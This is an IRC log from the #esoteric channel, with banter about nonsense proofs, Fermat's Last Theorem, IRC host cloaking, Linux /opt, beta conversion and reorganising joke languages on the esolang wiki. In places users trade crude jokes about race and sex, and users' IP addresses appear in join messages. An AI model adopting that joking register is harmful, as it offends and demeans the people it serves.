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00:23:10 <oerjan> b*a*n*u*k and *r*i*f*c*
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00:36:28 <Sgeo_> Sounds like baduk which is an alternative name of Go I think
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03:34:35 <oklopol> i just read cyanide and happiness
03:34:35 <oerjan> oklopol: have you seen our new wiki main page?
03:34:56 <oklopol> please link it so i don't have to do _anything_
03:35:08 <HackEgo> oklopol: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
03:35:40 <oklopol> featured language! you did it :D
03:36:27 <oklopol> well i meant that you added the whole featured language thing, you as in u pplz.
03:36:34 <oklopol> i recall this being discussed
03:36:44 <oerjan> yes. although mostly elliott.
03:38:52 <oklopol> doesn't look like it but who knows
03:39:10 <oerjan> no, elly is the new has-suspiciously-similar-initials-to elliott
03:39:48 <oklopol> so i have no moneys, will someone lend me some
03:40:02 <tswett> Ihope127 was a genius. It's a shame he's no longer with us.
03:40:39 <tswett> The world mourns this loss.
03:41:41 <oklopol> well could he sit anywhere?
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03:42:23 <tswett> I don't remember this at all.
03:42:28 <oklopol> well really i guess it was oerjan
03:42:37 <oerjan> yes. you were a remarkably bad parent, though.
03:43:15 <tswett> I guess you're probably joking.
03:43:45 <oerjan> yes. any similarity to _real_ children you are abandonic is mere coincidence.
03:44:31 <oklopol> i just got this thousand or so euros for my conference trip, and i'm wondering if the paperwork is worth doing or should i just pay it myself
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03:45:03 <oklopol> you have to like give them a report and receipts from the trip
03:45:11 <oklopol> like what the fuck, just gimme the moneys
03:45:35 <oerjan> ah the conference paperwork panic, i remember it well.
03:45:46 <oerjan> i ended up not applying.
03:46:56 <oklopol> i at least hope i get funding for the trip to taiwan
03:47:36 <oklopol> assuming we get accepted. it's a fair assumption because our paper is _awesome_.
03:48:04 <oklopol> so, do you know if springer and friends have bots that check if the articles are downloadable free on authors' websites
03:48:18 <oklopol> because long story short, ours is and i'm having a hard time getting it down.
03:49:24 <oklopol> i updated my publications list on this one university website and they had this button for upping the pdf. and i'm like hurr durr what's next okay pdf lemme just upload that for ya.
03:49:29 <Sgeo_> Why have there been 4 downloads of the CPL interpreter this week?
03:49:57 <oklopol> and i sent an email to them and they're like okay we'll do something about this ^^
03:50:34 <oklopol> apparently elsevier charges 3000 dollars if you wanna upload the article on your website for free
03:50:58 <oklopol> but 3000 is a lot to pay for being a fucking retard :D
03:52:09 <oklopol> really it's more that the government should pay me stupid support.
03:57:03 <oerjan> you know there is a "boycott elsevier" movement, right?
04:04:23 <oklopol> but i'm sure 3000 dollars sounds better than whatever springer has to offer in this context
04:04:51 <Sgeo_> CPL doesn't do Smalltalk comments properly
04:05:40 <oklopol> are its comments way too substantial to qualify for smalltalk
04:06:04 <Sgeo_> " opens a Smalltalk comment " closes it
04:06:45 <Sgeo_> Should issue a warning about unterminated comment, imo
04:06:50 <Sgeo_> And ""FUCK should be a syntax error
04:07:17 <oklopol> you know who else should be a syntax error
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04:08:03 <oklopol> "The proof is trivial! Just view the problem as a convex algebra whose elements are alternating Turing machines" could someone elaborate on this
04:08:50 <oklopol> i have no idea how to even make them an affine space
04:08:58 <oklopol> especially if the field is R
04:09:18 <oerjan> i am not whoever first put that in the topic, so no.
04:09:31 <oklopol> so i guess it just makes no sense
04:10:11 <oerjan> i don't know. it _could_ make sense to take convex combinations of them somehow?
04:10:18 <oklopol> elly: this smells like your handiwork
04:10:34 * oerjan swats oklopol -----###
04:10:43 <oklopol> like 1/pi of one automaton and 1-1/pi of the other?
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04:11:16 <oklopol> perhaps the alternation part is crucial here
04:11:40 <oerjan> `pastelogs The proof is trivial! Just view the
04:11:58 -!- MDude has changed nick to MSleep.
04:12:19 <oerjan> `pastelogs The proof is trivial! Just view the
04:12:34 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.8939
04:13:06 <oerjan> quintopia: ok, you are irresponsible here
04:13:18 <oklopol> quintopia: could you elaborate?
04:14:48 <oerjan> i guess it _was_ trivial, then.
04:15:43 <oklopol> The proof is trivial! Just biject it to a
04:17:12 <oerjan> your quest shall be to get one of those as the proof of a proposition in your next paper.
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04:19:11 <oklopol> i can try at least doing something with that form
04:19:38 <oklopol> doesn't sound too hard, but i'm only writing one solo paper atm
04:19:42 <oerjan> no, it has to be something actually from that website.
04:21:07 <oklopol> "The proof is trivial! Just view the problem as an associative semigroup whose elements are clopen groups" so a family of clopen topological groups, and i guess the natural associative operation is cartesian product
04:21:33 <oklopol> we're trying to start an article on universal algebra, perhaps i could use that there
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04:23:01 <oklopol> is there a thing that generates whole nonsensical proofs?
04:23:17 <Sgeo_> I've heard of something that generates nonsensical papers somewhere
04:23:24 <Sgeo_> Got submitted to some ... place
04:23:43 <Sgeo_> http://pdos.csail.mit.edu/scigen/
04:24:55 <oklopol> http://pdos.csail.mit.edu/scigen/rooter.pdf
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04:33:44 <oerjan> `frink 3 cm * 4500000000 -> lightseconds
04:33:57 <HackEgo> 67500000/149896229 (approx. 0.4503115285175053)
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04:43:03 <oklopol> that's pretty unbelievable stuff
04:44:31 <oerjan> what, don't you believe in SCIENCE?
04:44:45 <oklopol> but i'd like to see that in math
04:45:17 <oklopol> because i don't know anything about that stuff
04:45:31 <oklopol> like what the fuck is html
04:46:09 <quintopia> everything on the internet is chicken
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04:47:56 <oklopol> oerjan: i think i believe in science a bit too much because i can't really believe anyone who's ever been near science would publish something that's untrue.
04:48:31 <ion> I’d like to see a Fair and Balanced™ math lecture that tells the other side of the story instead of the one with the liberal bias.
04:48:38 <zzo38> oklopol: I don't think so; I think it is still possible for someone to publish something wrong anyways
04:48:44 <quintopia> i believe in the zzoence. the zzoentific method is 12% more efficacious than the scientific method
04:49:20 <zzo38> (Whether by a mistake, by a joke, or for a different reason)
04:49:42 <oerjan> ion: yeah those positive numbers are far too overused
04:49:49 <oerjan> needs more negativity!
04:50:04 <oklopol> is this one of those randomly generated sentences?
04:50:13 * oerjan swats oklopol -----###
04:50:19 <oerjan> oklopol: it's american
04:50:20 <quintopia> oerjan: preferential treatment towards positive numbers is positivitist
04:50:45 <zzo38> quintopia: What is that? I still don't know.
04:51:26 <zzo38> As far as I know the scientific method is 95% efficacious, so if it is 12% more efficacious then it would be more than 100%?
04:51:34 <quintopia> i'm just saying...negative numbers have been kept down by the man for too long!
04:51:44 <zzo38> Or maybe I am getting confused by something
04:52:02 <quintopia> zzo38: zzoence changed the rules! no things can be SUPER EFFECTIVE
04:52:33 <oklopol> i hear negative numbers were made by man
04:52:59 <quintopia> oklopol: so are babies. are you ANTIBABIES?
04:53:36 <oklopol> well yes, babies suck tits.
04:53:57 <zzo38> Well, any numbers have use for different purpose. There are no negative numbers, and also no fractions, in the system of natural numbers.
04:54:18 <oklopol> zzo38: have you published any articles
04:54:19 <zzo38> So, in other thing certainly you can make up other one too, if it is good for what you are making!
04:54:37 <zzo38> oklopol: Not any formal articles; I don't know how.
04:54:52 <quintopia> zzo38: see there you go again with your naturalnormativity. What gives you the right to decide that some numbers are more natural than others? all numbers have equal numberness under God!
04:55:25 <oklopol> zzo38: dunno how it works if you're not associated with a university. hopefully the same way.
04:55:42 <oklopol> or did you mean you don't know how to write formal articles
04:55:48 <zzo38> quintopia: Even if they are, you need some way to refer to them, and that is why they are called "natural numbers". (It doesn't make them more natural in the normal sense of the word)
04:56:11 <oklopol> i don't need two meanings of "natural"
04:56:14 <zzo38> oklopol: I mean I don't know how to write formal articles. But I am also not associated witih a university.
04:56:43 <zzo38> oklopol: But nearly all words in English language have many meanings, so you will not get away from that
04:56:44 <oklopol> (there was this discussion about theory versus mathematical theory on amazon which i'm referring to but i guess you had to be there)
04:57:03 <oklopol> zzo38: what do you do then?
04:57:33 <quintopia> zzo38: the language you use to refer to things matters. like when you talk about a random person's wife. what if the random person is female or gay? saying "natural" here just reinforces that naturalnormative bias.
04:58:00 <zzo38> oklopol: Do to what specifically?
04:58:06 <oerjan> quintopia: hey wait, weren't we trying to _avoid_ liberal bias here...
04:58:07 <oklopol> zzo38: i mean with your life
04:58:43 <quintopia> oerjan: i am trying to avoid fundamentalist bias
04:58:54 <oklopol> we usually name things with really silly names, they make research fun while it's not going anywhere, and when we actually come up with something cool, you don't notice them anymore.
04:59:19 <oklopol> for instance we have this conjecture that all finitarily primular sets are varietic.
04:59:27 <zzo38> quintopia: Well, yes, sometimes a random person's "wife" does not apply to anything; in case the random person is female, homosexual, or unmarried. Just like, your television remote control might not have a letter "X" button it doesn't mean that nothing has.
05:00:04 <oerjan> oklopol: what about the orchideal sets?
05:00:12 <oklopol> or something i just say we define ablodob as ... and then we just go with it
05:00:18 <quintopia> zzo38: but when you refer to the x button on your input device, you are reinforcing the idea that ALL INPUT DEVICES SHOULD HAVE LETTER X's. and that INPUT DEVICES WITH NO X ARE ABNORMAL
05:00:36 <quintopia> same with natural numbers. you're implying that the average real number is unnatural.
05:01:13 <oklopol> oerjan: i haven't learned those yet
05:01:17 <oklopol> it's only my third year in math
05:01:37 <oerjan> quintopia: i'm afraid that may be a theorem
05:02:18 <zzo38> quintopia: In mathematics, even real numbers are not all the number systems in mathematics... and anyways I mean the mathematical meaning of "naural number" not the real meaning of "natural"
05:02:37 <quintopia> oerjan: how can you say that nonnaturals are unnatural? are you part of the conservative conspiracy?
05:03:27 <oklopol> so let me define these numbers that look like reals but they are racist.
05:04:05 <quintopia> oklopol: the differential operator is racist
05:04:09 <ion> Denormal floats are an abomination.
05:04:10 <oklopol> i call them really racist numbers.
05:04:21 <quintopia> d(black people) just marginalizes them
05:04:39 <oerjan> i don't believe in races. i think all cars should stay below the speed limit.
05:05:00 <quintopia> oerjan: it's a good thing you aren't designing parallel computer programs
05:05:09 <oklopol> is there a racism theory in mathematics
05:06:06 <quintopia> Here is a theorem I heard somewhere: Bitches be triflin'. The proof is trivial.
05:06:28 <zzo38> Do you know Feynman's Trivial Theorem?
05:06:51 <oklopol> i would write an article that mathematically proves that the white race is superior, but i think we're 100 years away from that being obviously a joke.
05:07:29 <oklopol> or perhaps the asians, since they have all that skill level asian memery.
05:09:31 <oklopol> i suppose if i wrote one about women, it would obviously be a joke
05:09:43 <oklopol> if i wrote one about god, it would become the most famous mathematical paper ever.
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05:10:17 <oklopol> well, i guess that's been done, didn't that some guy that did boolean algebra in some visual way have a proof for every theorem and god?
05:10:34 <oklopol> maybe i'm adding my hopes and dreams into the mix.
05:11:34 <oklopol> have you heard this math joke, i just heard it like last week
05:13:05 <oklopol> why is the third root of 2 irrational? because otherwise 2^(1/3) = m/n, so 2 = m^3/n^3, so n^3 + n^3 = m^3, which is a contradiction by wiles' theorem.
05:15:26 <oklopol> hmm, actually that theorem doesn't look too hard
05:15:37 <oklopol> maybe i should try to prove it
05:16:03 <zzo38> Feynman's Trivial Theorem is: It's trivial! It's trivial!
05:16:31 <oklopol> well feynman is a silly dude
05:16:58 <oklopol> math is a powerful drug, and you should be careful with it
05:17:52 <oklopol> okay gotta go to work bye byes
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06:48:46 <fungot> shachaf: his birthday is in the same
06:48:53 <fungot> shachaf: ( ( ( a()**)a*:a*)(a()**)a*:a*)((x1)(x2)(x3)) ...out of time! don't let that binds the variables
07:18:35 <zzo38> Wiles' theorem? Don't you mean Fermat's theorem? Wiles just has proven Fermat's theorem (Fermat may have proven it too, but if so, he did not write it down).
07:19:04 <shachaf> You mean Fermat's conjecture.
07:19:43 <olsner> conjecture because it was unproven? but it was (according to Fermat, anyway)
07:20:12 <olsner> er, make that "wasn't proven" and the second sentence makes more sense
07:20:36 <shachaf> Well, according to me, the Goldback conjecture is proven.
07:21:01 <shachaf> Anyway, this IRC input line is too narrow to contain the proof (it's just one line wide!).
07:25:00 <zzo38> Fermat's Theorem is that $a^n+b^n=c^n$ with $a$, $b$, and $c$ positive integers is an infinite number of solutions if $n=2$ but no solutions if $n$ is an integer greater than 2. Hofstadter's book "Godel, Escher, Bach" also mentioned $n^a+n^b=n^c$ which has the same properties just mentioned, but is easier to prove (no proof was given, but I can think of a proof easily)
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10:25:18 <fizzie> http://users.ics.tkk.fi/htkallas/dada.png oh NO the trend is DOWN.
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10:58:19 <kallisti> I am sad that the octocats on GitHub have no tangle buddies. :_(
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11:45:40 <elliott> 04:51:26: <zzo38> As far as I know the scientific method is 95% efficacious, so if it is 12% more efficacious then it would be more than 100%?
11:45:45 <elliott> Where does *that* number come from?
11:47:08 <Taneb> I'm not even sure why I said "-en"
11:47:20 <Taneb> Maybe I was making sure elliott's set to English mode?
11:53:11 <fizzie> Curiously, "Avahi" sounds like a greeting too. Not that it is one.
12:19:54 <oklopol> "zzo38 Wiles' theorem? Don't you mean Fermat's theorem? Wiles just has proven Fermat's theorem (Fermat may have proven it too, but if so, he did not write it down)." yeah fermat didn't prove it
12:20:20 <Taneb> I've got a book on Fermat's theore
12:20:25 <Taneb> It doesn't contain the proof
12:21:07 <Taneb> This one was published in '97
12:22:10 <fizzie> I have one too. It was by that Singh dude.
12:22:17 <oklopol> well i read it when i was 11 or something, and i don't think it was very new
12:22:25 <Taneb> How old are you, oklopol?
12:22:35 <fizzie> oklopol: Was it mostly orangeish?
12:23:02 <fizzie> Was there a triangle on the cover? (Okay, I guess there might well be in any case.)
12:23:11 <fizzie> Did it, in fact, look like http://www.amazon.com/Fermats-Last-Theorem-Simon-Singh/dp/1841157910
12:23:40 <oklopol> no, and it was a finnish translation, so i think it was older than that.
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12:23:57 <fizzie> I got that one as a present maybe a decade ago.
12:24:04 <Taneb> I got this one maybe last month?
12:24:15 <fizzie> And I think it was probably Finnish too. But it looked the same.
12:24:16 <Taneb> Elderly relative was clearing out all of his maths books
12:24:49 <fizzie> It seems that there's a Finnish translation from 1998.
12:25:21 <fizzie> Anyway, I'm sure there's more than one book.
12:25:37 <fizzie> http://www.lukuhetki.fi/product.php?id=11242 that's the Finnish cover.
12:25:41 <fizzie> It looks very similaar.
12:26:06 <fizzie> They've moved the book title to the top, though.
12:26:15 <oklopol> well it looks vaguely familiar
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13:01:51 <ais523> agreed, but less broken than several others
13:02:05 <ais523> what particular problem did you notice?
13:02:23 <Taneb> My guess would be:
13:02:24 <Taneb> * ais523 (~ais523@147.188.254.137) has joined #esoteric
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13:02:35 <ais523> ah, I don't really care about that
13:03:00 <ais523> especially here; the 147.188 part is very easily guessable, and the other two parts are dynamic
13:03:47 <Taneb> I was referring to the quit and reconnect
13:04:39 <ais523> Taneb: that's not a real quit and reconnect, it's simulated by the server
13:04:45 <ais523> look at the quit message
13:04:51 <ais523> that's not one the client can send
13:05:07 <ais523> (it'd say Quit: Changing host if I tried to simulate it)
13:07:32 <fizzie> It's not even shown to the client.
13:09:30 <fizzie> It's just a numeric "396 yournick your/cloak :is now your hidden host (set by services.)" as seen by the person doing it.
13:10:26 <fizzie> Anyway, if you just put your nickserv password as the server password you will get identified early enough so that it doesn't need to do the fake-quit.
13:10:42 <ais523> that's not true, I do put my nickserv password as the server password
13:11:11 <ais523> then the client sends it again to nickserv manually just to make sure, but I get an "already logged in" response
13:12:04 <fizzie> In that case it should have the host set before joining any channels, I thought. But maybe there's enough of a delay for the autojoins to go through before the host-setting stuff comes back from nickserv.
13:13:35 <ais523> nickserv seems to take some time to respond (and the server seems to convert a server password into the equivalent of a PM to nickserv)
13:13:57 <elliott> at least i never have any problems
13:13:59 <ais523> what does personal mode +i mean? identified?
13:14:07 <elliott> ais523: is your server password in the right format?
13:14:15 <elliott> I think just "pass" works too, though
13:14:19 <ais523> elliott: I think so, and it does work to identify me
13:14:31 <ais523> (there's a :accountname so it works for ais523_ and scarf and callforjudgement and the rest)
13:15:45 <fizzie> "never" is a strong word, mr. elliott!~elliott@95.149.230.3 has quit [Changing host] of 2012-03-06.
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13:16:54 <HackEgo> GhostHand: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
13:17:00 <elliott> fizzie: Things were different then!!!
13:18:34 <ais523> `pastlog Changing host
13:18:54 <ais523> you'd need the client to wait several seconds to actually be identified, I guess, to avoid the problem altogether
13:19:22 <ais523> elliott: that's a good summary
13:19:33 <elliott> you're surprisingly ais523 really
13:19:38 <elliott> more ais523 than any other person I've known
13:19:54 <fizzie> There's quite a few robots, though.
13:20:11 <fungot> elliott: and, dab, words like pop-culture should use the binary level, then!, and cond switching of character memory can be achieved with the c preprocessor is run and line labels
13:20:27 <elliott> you're not from Hexham or Helsinki, are you?
13:21:16 <elliott> ok. i'm pretty sure there's no hexhams or helsinkis in china
13:22:58 <Taneb> Everyone wants to be elliott's friend
13:23:47 <Taneb> (how does one exit man pages? I can never remember)
13:24:08 <Taneb> elliott, that was easy
13:24:09 <elliott> GhostHand: china is the best
13:24:51 <GhostHand> Because the environment is getting worse
13:25:18 <ais523> Taneb: man pages are actually shown with less (with a thinly-disguised interface change to make you think it isn't less if you aren't concentrating, but nobody's really fooled)
13:25:57 <Taneb> ais523, I rarely if ever use less
13:26:22 <ais523> highlight -A "$1" 2>/dev/null
13:26:33 <ais523> tip for everyone: put that in your .lessfilter (not the cat line, the other line), then chmod it +x
13:26:47 <ais523> also, set LESSOPTIONS to contain -R among your other options
13:26:59 <ais523> elliott: hmm, let me test
13:27:37 <ais523> looks like less ignores the color commands in /
13:27:49 <ais523> esoteric programming languages, that's what the channel is about
13:28:09 <ais523> pline("%s%s and %s a %s in the %s!",
13:28:59 <fizzie> ais523: Sounds like a reality TV series post-sanitization. "BLEEP BLEEP and BLEEP a BLEEP in the BLEEP!"
13:29:19 <fizzie> (Do they BLEEP those? Maybe they don't.)
13:29:24 <ais523> %s is a great way to imply something's been omitted
13:29:32 <GhostHand> elliott,Do you like the Win32 Assembly?
13:29:34 <ais523> fizzie: in the UK, typically they mute the sound and turn the camera to face at a wall
13:29:41 <ais523> which makes you wonder what the point is entirely
13:30:05 <ais523> (actually, they cut to a camera that's already facing at a wall, doing that's faster)
13:30:45 <elliott> GhostHand: not exceptionally, no
13:33:52 <GhostHand> cI think that my English is not very good, but I really like Web and programming
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13:40:08 <fizzie> I have a friend who speaks quite fluent Chinese, but that doesn't really help; he's not here.
13:41:48 <GhostHand> I think I can slowly to speak English fluently
13:42:06 <GhostHand> There may be a lot of grammatical mistakes
13:42:09 <fizzie> ais523: What do you mean "which"?
13:42:22 <ais523> fizzie: there's only one written Chinese language, but two unrelated methods of pronouncing it
13:42:28 <ais523> (that's entirely possible with ideogram-based languages)
13:42:31 <ais523> Mandarin and Cantonese
13:42:48 <ais523> Mandarin speakers can know no Cantonese, and vice versa; it's actually much rarer to know both
13:42:59 <Taneb> I thought there were loads, and Mandarin and Cantonese were just the biggest?
13:43:46 <fizzie> ais523: Oh, right. I think Mandarin? At least the person he probably speaks most Chinese with is from Beijing.
13:46:15 <GhostHand> There are a lot of beautiful women
13:46:23 <fizzie> That's exactly what my friend said, too.
13:46:37 <fizzie> Apparently it is true, then.
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13:48:08 <GhostHand> If not I can send some beautiful pictures for you to see
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14:21:49 <Taneb> Good advice: don't try to learn how to use a library in one language by trying to adapt a tutorial for a completely different language that you don't know
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14:24:56 <Taneb> I've got an old-looking book on a bookshelf called "A BOOK ON C"
14:25:05 <Taneb> Do you think it could teach me how to program in C?
14:25:38 <elliott> Taneb: that is a book about C, apparently.
14:25:49 <elliott> Taneb: if you really want to learn C, you should probably pick up K&R
14:34:49 <fizzie> Taneb: Are you sure the book is not about grand adventure on the high seas, with a punny name?
14:35:12 <Taneb> I've never looked at it
14:35:19 <Taneb> By which I mean in it
14:45:07 <elliott> elly: You have to change your name.
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15:08:35 <Taneb> Would Conway's game of life by any computationally different were it on a hyperbolic plane?
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15:34:11 <lambdabot> Phantom_Hoover: You have 3 new messages. '/msg lambdabot @messages' to read them.
15:34:14 <HackEgo> GhostHand: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
15:45:17 <fizzie> Taneb: Horton hears a Who.
15:46:53 <GhostHand> My friends and I on the analysis of the code
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16:03:37 <fizzie> 2*(offset s)+(segment s) or some such thing? It doesn't seem terribly useful.
16:04:56 <hagb4rd> fizzie fizzie fizze..aw you're such a dizzy..dizzy head *sing
16:06:34 <Taneb> It's a little depressing that my most well-received program ever seems to be the one that is written in a programming language for children and creates a maze.
16:07:56 <hagb4rd> programing language for children? can i have a look at its code?
16:11:39 <hagb4rd> well it would be nice to have a programing language that one could play like music? like in loom you know? is there sth like that? if not we should create one..isn't it a good idea?
16:15:18 <hagb4rd> it compiles midi files :))
16:21:58 <hagb4rd> hello world sounds nice in velato
16:22:56 <hagb4rd> its really jazzy..nice work rottytooth
16:25:40 <RocketJSquirrel> Well, to be fair, it's not MY time machine, I borrowed it from Mr. Peabody
16:26:55 <elliott> Redhat costs a lot of money these days. (Also it's not very good.)
16:31:08 <Taneb> Try Fedora, it's sorta like Red Hat
16:31:25 <elliott> I don't recommend anybody try Fedora.
16:31:41 <Taneb> Don't try Fedora, it's sorta like Red Hat
16:39:31 <fizzie> RocketJSquirrel: Shouldn't you, I don't know, use some sort of a hat-inspired distribution, anyway?
16:40:10 <RocketJSquirrel> And since the intersection of "distributions with names inspired by hats" and "garbage" is the entire first set, no.
16:40:50 <fizzie> RocketJSquirrel: Well, there's Tinfoil Hat Linux.
16:41:07 <quintopia> RocketJSquirrel: shouldnt you be forking a good distribution with the only change being that it is now a hat name?
16:44:31 <ion> It might be fun to troll him by e.g. speaking of Linux when talking about GNU.
16:44:56 <elliott> RocketJSquirrel: As I understand it, Stallman just gives the same talk over and over.
16:45:07 <elliott> So unless you want to meet a walking cassette player...
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16:46:09 <RocketJSquirrel> ion: "I've been doing a comparitive study of Visual Studio and the Linux GCC compiler, and <blah blah blah>"
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16:49:37 <tswett> addr_sub, addr_min, dest_npos, dest_pos = [(memory[(inst + offset) % GENOME_LENGTH]) % GENOME_LENGTH for offset in [0,1,2,3]]
16:49:40 <tswett> I don't really like that.
16:50:09 <elliott> RocketJSquirrel: *compartive
16:50:43 <tswett> Whelp, I'm reasonably sure I've written a working modified Subleq interpreter.
17:00:13 <elliott> Esolangs are so last year.
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17:16:48 <ais523> vaguely amusing: the history (currently top of proggit) of /usr/bin, etc., which explains how /usr got its name
17:17:01 <ais523> and it's one of the most ridiculous historical reasons ever
17:17:24 <elliott> it's almost as good as the last time it was on progit
17:17:36 <elliott> anyway, clearly it stands for Unix System Resources
17:24:10 <tswett> "I'm still waiting for /opt/local to show up..."
17:24:33 <ais523> /opt/local does make sense, to some extent
17:24:45 <tswett> I guess whoever wrote that either was being sarcastic or has not seen the sorrow that is OS X?
17:24:56 <ais523> if I were testing the build process of a package that normally aims for /opt, then I'd aim for /opt/local
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17:25:25 <tswett> What systems have /opt, anyway?
17:25:56 <RocketJSquirrel> Lots of them, but in virtually no case is /opt provided by the distro.
17:26:07 <RocketJSquirrel> (At least Linux-wise, some of the Unices have an /opt by default)
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17:26:25 <ais523> I even have a few packages in there, mostly (entirely?) games
17:26:45 <RocketJSquirrel> Whenever I compile code myself instead of using a distro package I prefix it into /opt.
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17:40:07 <elliott> RocketJSquirrel: /opt is provided by default
17:40:20 <elliott> (I believe this is true of Debian and Arch.)
17:40:33 <RocketJSquirrel> elliott: I don't think it's true of Debian, but it's possible and even likely that I'm misremembering *shrugs*
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17:44:38 * tswett generates a random program and executes it.
17:49:02 <tswett> This interpreter doesn't actually have output. It just prints the address of the instruction it's executing.
17:51:21 <tswett> Whoa. It entered a loop and then executed it.
17:51:28 <tswett> Entered and then exited.
17:51:33 <tswett> I HAVE CREATED INTELLIGENCE
17:54:20 <tswett> Bah, all finite state machines loop.
17:54:32 <tswett> But if it enters a loop and then exits it? That's a sure sign of intelligence, right there.
17:54:42 <RocketJSquirrel> <tswett> Bah, all finite state machines loop. // Um ... no?
17:54:54 <tswett> Mm, right. All FSMs loop or halt.
17:55:17 <tswett> And this interpreter interprets FSMs that do not halt.
18:00:49 <elliott> RocketJSquirrel: Halting is just a really tight loop, man.
18:01:11 <ais523> elliott: on some embedded systems, it's /literally/ that
18:01:20 <ais523> unless you use an output pin to let them shut off their own power supply
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18:08:04 <tswett> I don't think my wristwatch has a halting condition.
18:10:53 <tswett> Mm... not really, I guess.
18:16:57 <RocketJSquirrel> Perhaps its programming doesn't, but the device itself does.
18:23:58 <elliott> ais523: when did esr re-take-over C-INTERCAL?
18:24:09 <elliott> also, why don't you have an article on the wiki?
18:25:48 <ais523> elliott: we're both in charge, and I can't remember
18:26:34 <elliott> ais523: I don't really believe that, and hmph, and Esolang, and [[Alex Smith]] or something of the sort
18:28:16 <mroman_> If P beta-converts to Q does Q beta-convert to P?
18:29:40 <elliott> assuming you mean beta-reduce
18:29:47 <elliott> (\x -> x) (\y -> y) beta-reduces to (\y -> y)
18:29:50 <elliott> (\y -> y) doesn't beta-reduce to anything
18:30:13 <elliott> imagine an expression that does a lot of complicated evaluation and then becomes the trivial infinite loop (\x -> x x) (\x -> x x)
18:30:20 <elliott> obviously, that infinite loop doesn't evolve into the original expression :)
18:30:34 <mroman_> But here the definition is
18:31:06 <mroman_> "Iff we can change P to Q by a finite sequence of beta-reductions or reversed beta-reductions, we say P beta-converts to Q, or P is beta-equal to Q"
18:31:39 <mroman_> and a reversed beta-reduction is called a beta-expansion.
18:31:44 <elliott> Oh. Well, that's still wrong.
18:32:12 <elliott> (Something being called "equality" is a good hint it's symmetric. :p)
18:32:39 <elliott> mroman_: I mean, the proof is fairly obvious.
18:32:50 <elliott> Just reverse all the beta-(reductions|expansions) into beta-(expansions|reductions).
18:32:52 <mroman_> I have to show, that F(YF) beta converts to YF
18:33:08 <mroman_> and we can easyl show, thatt YF beta converts to F(YF)
18:33:42 <elliott> Right. It shouldn't be that hard to just go the other way, though.
18:33:47 <elliott> i.e. start at F(YF) and beta-expand backwards.
18:33:58 <elliott> Though the other way around is more intuitive, certainly.
18:34:00 <mroman_> Expanding seems more difficult than ;)
18:35:37 <mroman_> If P alpha-converts to Q, does P beta-convert to Q?
18:36:53 <mroman_> It should, if i interpret the definition correctly.
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18:54:15 <elliott> ais523: btw, I think we should restructure esolang's categorisation slightly
18:54:35 <ais523> is this "good" or "oh dear"?
18:54:59 <elliott> ais523: I'm not sure; which would you prefer?
18:55:02 <ais523> rather depends on what you want to change
18:55:20 <olsner> (verb form of "esolang")ing = esoverbing?
18:55:43 <elliott> olsner: you're late to the party of reading that message
18:56:05 <olsner> no-one told me about that party!
18:57:19 <elliott> well, esolangs.org moving servers was
18:57:30 <elliott> and the comment was linked at the top of every page for over a week
18:58:40 <olsner> yes, I did notice the moving servers part, but I think I started ignoring the whole thing just before it went "live"
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19:02:05 <elliott> ais523: Anyway, my contention is that our notion of "joke languages" is a complete mess. it contains everything from languages that are literally just jokes, with no actual details (i.e. they don't even exist) -- think the lesser-known programming languages -- to languages that are "specified", but are obviously absurd and not real languages (QWERTY Keyboard Dot Language), to real languages that happen to be particularly "funny" (like HQ9+ and De
19:02:05 <elliott> adfish), to fully-fledged esoteric programming languages that just happen to be ciphers of brainfuck (Ook!). This causes problems because the latter two kinds want further categorisation: they deserve to be categorised by implementation status, what level they're at, the paradigm, computational class, and so on. But we generally consider all these categories to imply [[Category:Languages]], which we explicitly do not include on joke language arti
19:02:21 <elliott> And, anyway, the classification of the latter two as "jokes" is really pretty subjective; do Ook! and HQ9+ really not belong on the language list?
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19:02:45 <ais523> elliott: I think the borderline is drawn at "intentionally unusable for programming"
19:02:51 <elliott> My suggestion is that we remove all real languages from the joke language list and category, and recategorise them as real languages, restricting the definition of "joke language" to languages that are actually *just* jokes.
19:02:56 <ais523> which puts HQ9+ on the joke side, and Ook! on the non-joke side
19:03:13 <elliott> ais523: The borderline isn't drawn there.
19:03:17 <elliott> Because Ook! is on the joke language list.
19:03:23 <olsner> "intentionally unusable for programming" - isn't that very close to applying for every esolang?
19:03:27 <ais523> elliott: I think we could definitely do with an overhaul
19:03:37 <ais523> olsner: no, we mean unusable in the esolangs sense
19:03:41 <elliott> Oh, and [[HQ9+]] is in both [[Category:Joke languages]] and [[Category:Languages]].
19:03:47 <elliott> It's also on [[Language list]].
19:03:50 <elliott> As well as [[Joke language list]].
19:04:03 <ais523> olsner: as in, usability 0, as opposed to usability non-0
19:04:46 <elliott> If jokeyness is just an attribute of languages, then we don't want a list, just [[Category:Jokes]]. But the joke language list was started for languages that *aren't* languages; LITHP isn't a language, IRP isn't a language, Esme isn't a language, QWERTY Keyboard Dot Language isn't a language.
19:05:35 <elliott> A further judgement call: TURKEY BOMB isn't a language. Yes, you can give it semantics, but the keyword is "giving"; it involves coming up with new things decidedly not in the original text, and is hence creating your own language inspired by the document.
19:05:56 <elliott> Okay, by "was started", I mean "should be for".
19:06:15 <elliott> The original joke languages were some brainfuck ciphers plus HQ9+ and friends: http://esolangs.org/w/index.php?title=Joke_language_list&oldid=227
19:06:37 <elliott> ais523: I can see an argument that HQ9+ is exclusively a joke languaeg.
19:06:42 <ais523> elliott: what about SLOBOL and DOGO? they're special cases, in some sense
19:06:56 <elliott> ais523: But I don't think a categorisation that files HQ9+ as a joke language is useful.
19:07:05 <elliott> Because it's not at all clear what it means.
19:07:12 <ais523> well, some people seem to be using "joke" to mean "uninteresting"
19:07:27 <ais523> HQ9+ is definitely an interesting and theoretically important language, and should probably be featured at some point
19:07:44 <elliott> ais523: SLOBOL and DOGO are joke languages; they're also badly-specified languages with the same name as the joke languages, made by other people inspired by the joke languages.
19:08:07 <ais523> right, I was wondering if you'd call them separate languages
19:08:07 <elliott> The original research(tm) should be separated out into its own section of each page; it's just confusing as it is.
19:08:14 <elliott> (They don't need a new page, though.)
19:08:20 <ais523> now, I'm inclined to think that the lesser-known languages aren't esolangs at all
19:08:32 <ais523> no, they aren't either
19:08:45 <elliott> They're names plus humorous descriptions.
